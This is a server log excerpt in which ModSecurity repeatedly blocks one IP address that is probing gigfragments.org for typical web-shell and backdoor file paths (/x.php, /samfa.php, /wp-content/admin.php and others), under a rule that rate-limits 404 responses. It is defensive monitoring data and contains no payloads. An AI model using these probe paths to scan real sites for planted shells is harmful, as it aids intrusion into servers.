[Sat Feb 28 00:58:56.941795 2026] [:error] [pid 15099:tid 15138] [client 20.220.196.236:43306] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/assets/css/index.php"] [unique_id "aaHNUOnvP2vtPjYDq_gtxgAAAMU"]
[Sat Feb 28 00:58:57.352983 2026] [:error] [pid 15240:tid 15250] [client 20.220.196.236:43280] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/boots.php"] [unique_id "aaHNUS1iKL_41Rk9A9NkFwAAAAg"]
[Sat Feb 28 00:58:57.764079 2026] [:error] [pid 15240:tid 15265] [client 20.220.196.236:43267] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/boots.php"] [unique_id "aaHNUS1iKL_41Rk9A9NkGAAAABc"]
[Sat Feb 28 00:58:58.177245 2026] [:error] [pid 38620:tid 38645] [client 20.220.196.236:43969] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/boots.php"] [unique_id "aaHNUgP6I7SRqrhh7RrhCAAAAVc"]
[Sat Feb 28 00:58:58.602293 2026] [:error] [pid 15099:tid 15157] [client 20.220.196.236:43975] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/boots.php"] [unique_id "aaHNUunvP2vtPjYDq_gtxwAAANg"]
[Sat Feb 28 00:58:59.013003 2026] [:error] [pid 38586:tid 38589] [client 20.220.196.236:43321] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/logi.php"] [unique_id "aaHNU7_i6nvKNhjFW7Ur5wAAAQA"]
[Sat Feb 28 00:58:59.424468 2026] [:error] [pid 38620:tid 38640] [client 20.220.196.236:43285] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/logi.php"] [unique_id "aaHNUwP6I7SRqrhh7RrhCgAAAVI"]
[Sat Feb 28 00:58:59.833922 2026] [:error] [pid 38586:tid 38603] [client 20.220.196.236:43986] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/logi.php"] [unique_id "aaHNU7_i6nvKNhjFW7Ur7AAAAQ4"]
[Sat Feb 28 00:59:00.247977 2026] [:error] [pid 38586:tid 38610] [client 20.220.196.236:43292] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/logi.php"] [unique_id "aaHNVL_i6nvKNhjFW7Ur7gAAARU"]
[Sat Feb 28 00:59:00.660635 2026] [:error] [pid 38586:tid 38613] [client 20.220.196.236:43919] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aaHNVL_i6nvKNhjFW7Ur8QAAARg"]
[Sat Feb 28 00:59:01.071593 2026] [:error] [pid 15240:tid 15262] [client 20.220.196.236:43982] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aaHNVS1iKL_41Rk9A9NkHgAAABQ"]
[Sat Feb 28 00:59:01.483847 2026] [:error] [pid 15098:tid 15122] [client 20.220.196.236:43282] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aaHNVckFqny8dQQbmTkdqwAAAJA"]
[Sat Feb 28 00:59:01.893184 2026] [:error] [pid 15240:tid 15243] [client 20.220.196.236:43974] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aaHNVS1iKL_41Rk9A9NkIQAAAAE"]
[Sat Feb 28 00:59:02.302554 2026] [:error] [pid 38620:tid 38631] [client 20.220.196.236:43291] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/samfa.php"] [unique_id "aaHNVgP6I7SRqrhh7RrhEAAAAUk"]
[Sat Feb 28 00:59:02.713336 2026] [:error] [pid 38620:tid 38635] [client 20.220.196.236:43265] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/samfa.php"] [unique_id "aaHNVgP6I7SRqrhh7RrhEQAAAU0"]
[Sat Feb 28 00:59:03.123477 2026] [:error] [pid 38620:tid 38632] [client 20.220.196.236:43271] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/samfa.php"] [unique_id "aaHNVwP6I7SRqrhh7RrhFQAAAUo"]
[Sat Feb 28 00:59:03.534626 2026] [:error] [pid 38620:tid 38640] [client 20.220.196.236:43319] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/samfa.php"] [unique_id "aaHNVwP6I7SRqrhh7RrhGQAAAVI"]
[Sat Feb 28 00:59:03.947576 2026] [:error] [pid 38620:tid 38633] [client 20.220.196.236:43269] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aaHNVwP6I7SRqrhh7RrhHQAAAUs"]
[Sat Feb 28 00:59:04.366660 2026] [:error] [pid 38620:tid 38632] [client 20.220.196.236:43266] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aaHNWAP6I7SRqrhh7RrhJAAAAUo"]
[Sat Feb 28 00:59:04.783272 2026] [:error] [pid 15100:tid 15175] [client 20.220.196.236:43288] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aaHNWEOEbzcINan_ctK3LAAAAE8"]
[Sat Feb 28 00:59:05.195824 2026] [:error] [pid 15098:tid 15111] [client 20.220.196.236:44030] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aaHNWckFqny8dQQbmTkdrQAAAIU"]
[Sat Feb 28 00:59:05.607452 2026] [:error] [pid 38620:tid 38637] [client 20.220.196.236:43979] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/index.php"] [unique_id "aaHNWQP6I7SRqrhh7RrhJgAAAU8"]
[Sat Feb 28 00:59:06.017533 2026] [:error] [pid 38620:tid 38636] [client 20.220.196.236:43313] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/index.php"] [unique_id "aaHNWgP6I7SRqrhh7RrhKQAAAU4"]
[Sat Feb 28 00:59:06.428569 2026] [:error] [pid 38620:tid 38646] [client 20.220.196.236:44011] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/index.php"] [unique_id "aaHNWgP6I7SRqrhh7RrhKgAAAVg"]
[Sat Feb 28 00:59:06.838157 2026] [:error] [pid 38620:tid 38638] [client 20.220.196.236:43978] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/index.php"] [unique_id "aaHNWgP6I7SRqrhh7RrhLQAAAVA"]
[Sat Feb 28 00:59:07.248561 2026] [:error] [pid 15240:tid 15265] [client 20.220.196.236:43905] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "aaHNWy1iKL_41Rk9A9NkKAAAABc"]
[Sat Feb 28 00:59:07.658735 2026] [:error] [pid 38620:tid 38642] [client 20.220.196.236:44018] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "aaHNWwP6I7SRqrhh7RrhMwAAAVQ"]
[Sat Feb 28 00:59:08.071542 2026] [:error] [pid 15240:tid 15251] [client 20.220.196.236:44004] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "aaHNXC1iKL_41Rk9A9NkKgAAAAk"]
[Sat Feb 28 00:59:08.482146 2026] [:error] [pid 15098:tid 15106] [client 20.220.196.236:43997] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "aaHNXMkFqny8dQQbmTkdrwAAAIE"]
[Sat Feb 28 00:59:08.893894 2026] [:error] [pid 15240:tid 15248] [client 20.220.196.236:43314] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aaHNXC1iKL_41Rk9A9NkLwAAAAY"]
[Sat Feb 28 00:59:09.306108 2026] [:error] [pid 15240:tid 15242] [client 20.220.196.236:43944] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aaHNXS1iKL_41Rk9A9NkMQAAAAA"]
[Sat Feb 28 00:59:09.717452 2026] [:error] [pid 15100:tid 15170] [client 20.220.196.236:43264] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aaHNXUOEbzcINan_ctK3MwAAAEo"]
[Sat Feb 28 00:59:10.127632 2026] [:error] [pid 15240:tid 15254] [client 20.220.196.236:43294] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aaHNXi1iKL_41Rk9A9NkNAAAAAw"]
[Sat Feb 28 00:59:10.539626 2026] [:error] [pid 15098:tid 15109] [client 20.220.196.236:44015] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/templates/beez/index.php"] [unique_id "aaHNXskFqny8dQQbmTkdsgAAAIQ"]
[Sat Feb 28 00:59:10.953788 2026] [:error] [pid 38620:tid 38637] [client 20.220.196.236:43278] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/templates/beez/index.php"] [unique_id "aaHNXgP6I7SRqrhh7RrhWAAAAU8"]
[Sat Feb 28 00:59:11.365552 2026] [:error] [pid 38620:tid 38630] [client 20.220.196.236:44028] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/templates/beez/index.php"] [unique_id "aaHNXwP6I7SRqrhh7RrhXQAAAUg"]
[Sat Feb 28 00:59:11.788514 2026] [:error] [pid 15240:tid 15261] [client 20.220.196.236:43977] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/templates/beez/index.php"] [unique_id "aaHNXy1iKL_41Rk9A9NkOwAAABM"]
[Sat Feb 28 00:59:12.203178 2026] [:error] [pid 15100:tid 15167] [client 20.220.196.236:43272] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "aaHNYEOEbzcINan_ctK3NAAAAEc"]
[Sat Feb 28 00:59:12.615006 2026] [:error] [pid 15240:tid 15242] [client 20.220.196.236:44020] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "aaHNYC1iKL_41Rk9A9NkPQAAAAA"]
[Sat Feb 28 00:59:13.026121 2026] [:error] [pid 15240:tid 15256] [client 20.220.196.236:43325] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "aaHNYS1iKL_41Rk9A9NkPgAAAA4"]
[Sat Feb 28 00:59:13.438668 2026] [:error] [pid 38586:tid 38594] [client 20.220.196.236:43992] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "aaHNYb_i6nvKNhjFW7UsBAAAAQU"]
[Sat Feb 28 00:59:13.854840 2026] [:error] [pid 15240:tid 15260] [client 20.220.196.236:43305] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/system.php"] [unique_id "aaHNYS1iKL_41Rk9A9NkQgAAABI"]
[Sat Feb 28 00:59:14.269231 2026] [:error] [pid 38620:tid 38644] [client 20.220.196.236:43302] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/system.php"] [unique_id "aaHNYgP6I7SRqrhh7RrhhAAAAVY"]
[Sat Feb 28 00:59:14.683975 2026] [:error] [pid 38620:tid 38641] [client 20.220.196.236:43299] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/system.php"] [unique_id "aaHNYgP6I7SRqrhh7RrhjAAAAVM"]
[Sat Feb 28 00:59:15.094633 2026] [:error] [pid 38620:tid 38644] [client 20.220.196.236:43904] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/system.php"] [unique_id "aaHNYwP6I7SRqrhh7RrhlQAAAVY"]
[Sat Feb 28 00:59:15.506434 2026] [:error] [pid 38620:tid 38635] [client 20.220.196.236:43298] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "aaHNYwP6I7SRqrhh7RrhmwAAAU0"]
[Sat Feb 28 00:59:15.923025 2026] [:error] [pid 38586:tid 38595] [client 20.220.196.236:43295] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "aaHNY7_i6nvKNhjFW7UsDAAAAQY"]
[Sat Feb 28 00:59:16.336121 2026] [:error] [pid 15098:tid 15130] [client 20.220.196.236:44016] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "aaHNZMkFqny8dQQbmTkdswAAAJg"]
[Sat Feb 28 00:59:16.746951 2026] [:error] [pid 38620:tid 38644] [client 20.220.196.236:43910] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "aaHNZAP6I7SRqrhh7RrhoAAAAVY"]
[Sat Feb 28 00:59:17.155988 2026] [:error] [pid 38620:tid 38635] [client 20.220.196.236:43323] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aaHNZQP6I7SRqrhh7RrhpQAAAU0"]
[Sat Feb 28 00:59:17.567207 2026] [:error] [pid 38620:tid 38626] [client 20.220.196.236:43913] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aaHNZQP6I7SRqrhh7RrhpwAAAUQ"]
[Sat Feb 28 00:59:17.981882 2026] [:error] [pid 38620:tid 38622] [client 20.220.196.236:43981] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aaHNZQP6I7SRqrhh7RrhqQAAAUA"]
[Sat Feb 28 00:59:18.395744 2026] [:error] [pid 38586:tid 38608] [client 20.220.196.236:44014] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aaHNZr_i6nvKNhjFW7UsFAAAARM"]
[Sat Feb 28 00:59:18.809735 2026] [:error] [pid 38620:tid 38642] [client 20.220.196.236:43970] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "aaHNZgP6I7SRqrhh7RrhqwAAAVQ"]
[Sat Feb 28 00:59:19.226172 2026] [:error] [pid 38586:tid 38600] [client 20.220.196.236:44023] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "aaHNZ7_i6nvKNhjFW7UsFQAAAQs"]
[Sat Feb 28 00:59:19.635356 2026] [:error] [pid 38620:tid 38624] [client 20.220.196.236:43290] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "aaHNZwP6I7SRqrhh7RrhsgAAAUI"]
